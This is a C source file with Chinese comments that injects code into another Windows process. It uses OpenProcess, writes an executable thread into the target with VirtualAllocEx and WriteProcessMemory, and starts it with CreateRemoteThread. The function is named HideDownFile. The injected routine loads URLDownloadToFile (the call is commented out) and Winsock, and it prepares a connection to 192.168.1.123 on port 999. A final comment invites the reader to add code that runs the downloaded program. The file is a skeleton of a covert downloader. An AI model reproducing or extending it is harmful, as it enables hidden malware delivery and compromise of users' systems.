实现WSAStartup函数建立

#include <windows.h>
#include <WINSOCK.H>
#define MAXINJECTSIZE (2048*7)

struct tagDownInfo
{
WSADATA v_wsadata;
SOCKET v_sock;
struct sockaddr_in v_target;
TCHAR v_buf[256];
TCHAR v_sendbuf[256];
int v_rcvid;
WORD v_VersionRequeste;
TCHAR v_WS2_32_LIB[20];
TCHAR szWSAStartup[500];
/*定义SOCK函数*/
int v_WSAStartup;
SOCKET v_socket;
int V_connect;

TCHAR szGetLastError[20];

 

TCHAR szUrl[500];
 TCHAR szFile[500];
 TCHAR szUrlmon[30];
 TCHAR szUrlDowndToFile[30];
 TCHAR szMessageBox[500];
 TCHAR szUser32_lib[30];
 bool bIsRun;
 DWORD dwRunMode;
 FARPROC funFunGetModuleHandleAddr;
 FARPROC funFunGetProcAddressAddr;
 FARPROC funFunLoadLibraryAddr;
 FARPROC funFunGetLastErrorAddr;

};

bool HideDownFile(tagDownInfo* pInfo, DWORD dwProcessId);

DWORD WINAPI ThreadDown(LPVOID lParam)
{

 tagDownInfo* pInfo = (tagDownInfo*)lParam;
 //*******************************************
//定义SOCKET函数原型
typedef int (__stdcall* T_WSAStartup)(WORD,LPWSADATA);

 //*******************************************
 typedef long (__stdcall* T_MessageBox)(HWND,LPCTSTR,LPCTSTR,DWORD);
 typedef long (__stdcall* T_URLDownloadToFile)(LPVOID,LPCTSTR,LPCTSTR,DWORD, LPVOID );
typedef HMODULE  (__stdcall* T_GetLastError)(void);
 typedef HMODULE  (__stdcall* T_GetProcAddress)(HMODULE ,LPCSTR);
 typedef HMODULE  (__stdcall* T_GetModuleHandle)(LPCTSTR);
 typedef HMODULE  (__stdcall* T_LoadLibrary)(LPCTSTR);
 typedef void (__stdcall* pSleep)( DWORD dwMilliseconds);

 //四个重要的函数地址
 T_GetModuleHandle pGetModuleHandle = (T_GetModuleHandle)pInfo->funFunGetModuleHandleAddr; 
 T_GetProcAddress  pGetProcAddress = (T_GetProcAddress)pInfo->funFunGetProcAddressAddr;    
 T_LoadLibrary pLoadLibrary = (T_LoadLibrary)pInfo->funFunLoadLibraryAddr;
T_GetLastError pGetLastError = (T_GetLastError)pInfo->funFunGetLastErrorAddr;

 

////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//取得messagebox的地址
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
HMODULE hUser32Dll = pLoadLibrary(pInfo->szUser32_lib );
if(!hUser32Dll)
{
//T_MessageBox pMessageBox =(T_MessageBox)pGetProcAddress(hUser32Dll, pInfo->szMessageBox);
//pMessageBox(NULL,  pInfo->szMessageBox, pInfo->szFile, 0);
return 0;
}
T_MessageBox pMessageBox =(T_MessageBox)pGetProcAddress(hUser32Dll, pInfo->szMessageBox);

//pMessageBox(NULL,  pInfo->szUrl, pInfo->szFile, 0);

 //判断程序最终正确执行
 //HMODULE hDll = pLoadLibrary( pInfo->szUrlmon );

 //T_URLDownloadToFile pURLDownloadToFile = (T_URLDownloadToFile)pGetProcAddress( hDll, pInfo->szUrlDowndToFile);
// pURLDownloadToFile(NULL, pInfo->szUrl, pInfo->szFile, 0, NULL);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//取得WSAStartup的地址
////////////////////////////////////////////////////////////////////////////////////////////////////////////////

HMODULE socklib=pLoadLibrary(pInfo->v_WS2_32_LIB);
if (!socklib)
{
pMessageBox(NULL,  pInfo->szFile, pInfo->szFile, 0);
return 0;
}
T_WSAStartup pWSAStartup =(T_WSAStartup)pGetProcAddress(socklib, pInfo->szWSAStartup);
if(!pWSAStartup)
{
pMessageBox(NULL, pInfo->szUrl, pInfo->szFile, 0);
return 0;
}

pWSAStartup(pInfo->v_VersionRequeste,&pInfo->v_wsadata);
////////////////////////////////////////////////////////////////////////////////////////////////////////////////

 

return 0;
}

bool HideDownFile(tagDownInfo* pInfo, DWORD dwProcessId)
{
 HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);
 if(hProcess == NULL)
  return false;

 HINSTANCE hLibDll = GetModuleHandle("Kernel32.dll");

 pInfo->funFunGetProcAddressAddr = (FARPROC)GetProcAddress(hLibDll, "GetProcAddress");
 pInfo->funFunGetModuleHandleAddr = (FARPROC)GetProcAddress(hLibDll, "GetModuleHandleA");
 pInfo->funFunLoadLibraryAddr=(FARPROC)GetProcAddress(hLibDll, "LoadLibraryA");
 pInfo->funFunGetLastErrorAddr = (FARPROC)GetProcAddress(hLibDll, "GetLastError");
 lstrcpy(pInfo->szUrlmon, "Urlmon.dll");
 lstrcpy(pInfo->szUrlDowndToFile, "URLDownloadToFileA");
 lstrcpy(pInfo->szMessageBox, "MessageBoxA");
 lstrcpy(pInfo->szUser32_lib, "User32.dll");
 //********************************************************//
 lstrcpy(pInfo->v_WS2_32_LIB,"WS2_32.dll");
 lstrcpy(pInfo->szWSAStartup,"WSAStartup");
 pInfo->v_VersionRequeste = MAKEWORD(2,2);
 //做SOCKET前的参数准备//
pInfo->v_target.sin_family=AF_INET;
pInfo->v_target.sin_port=htons(999);
pInfo->v_target.sin_addr.s_addr=inet_addr("192.168.1.123");
//做SOCKET前的参数准备 OVER//
//********************************************************//
 //分配空间
 void *pRemoteThread = VirtualAllocEx(hProcess, 0, MAXINJECTSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if (! pRemoteThread)
  return false;
 tagDownInfo *pData = (tagDownInfo*)VirtualAllocEx(hProcess, 0, sizeof (tagDownInfo), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if (!pData)
  return false;

 if (! WriteProcessMemory(hProcess, pRemoteThread, &ThreadDown, MAXINJECTSIZE, 0))
  return false;

 if (! WriteProcessMemory(hProcess, pData, pInfo, sizeof (tagDownInfo), 0))
  return false;

 bool bRet = true;
 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, pData, 0, NULL);
 if(!hThread)
  bRet = false;

 WaitForSingleObject(hThread, INFINITE);
 VirtualFreeEx(hProcess, pRemoteThread, MAXINJECTSIZE, MEM_RELEASE);
 VirtualFreeEx(hProcess, pData, sizeof (tagDownInfo), MEM_RELEASE);
 //自己加上运行程序的代码即可   在其他线程运行也可以就是多加加载  shell32.dll 即可
 CloseHandle(hThread);
 CloseHandle(hProcess);

 return bRet;
}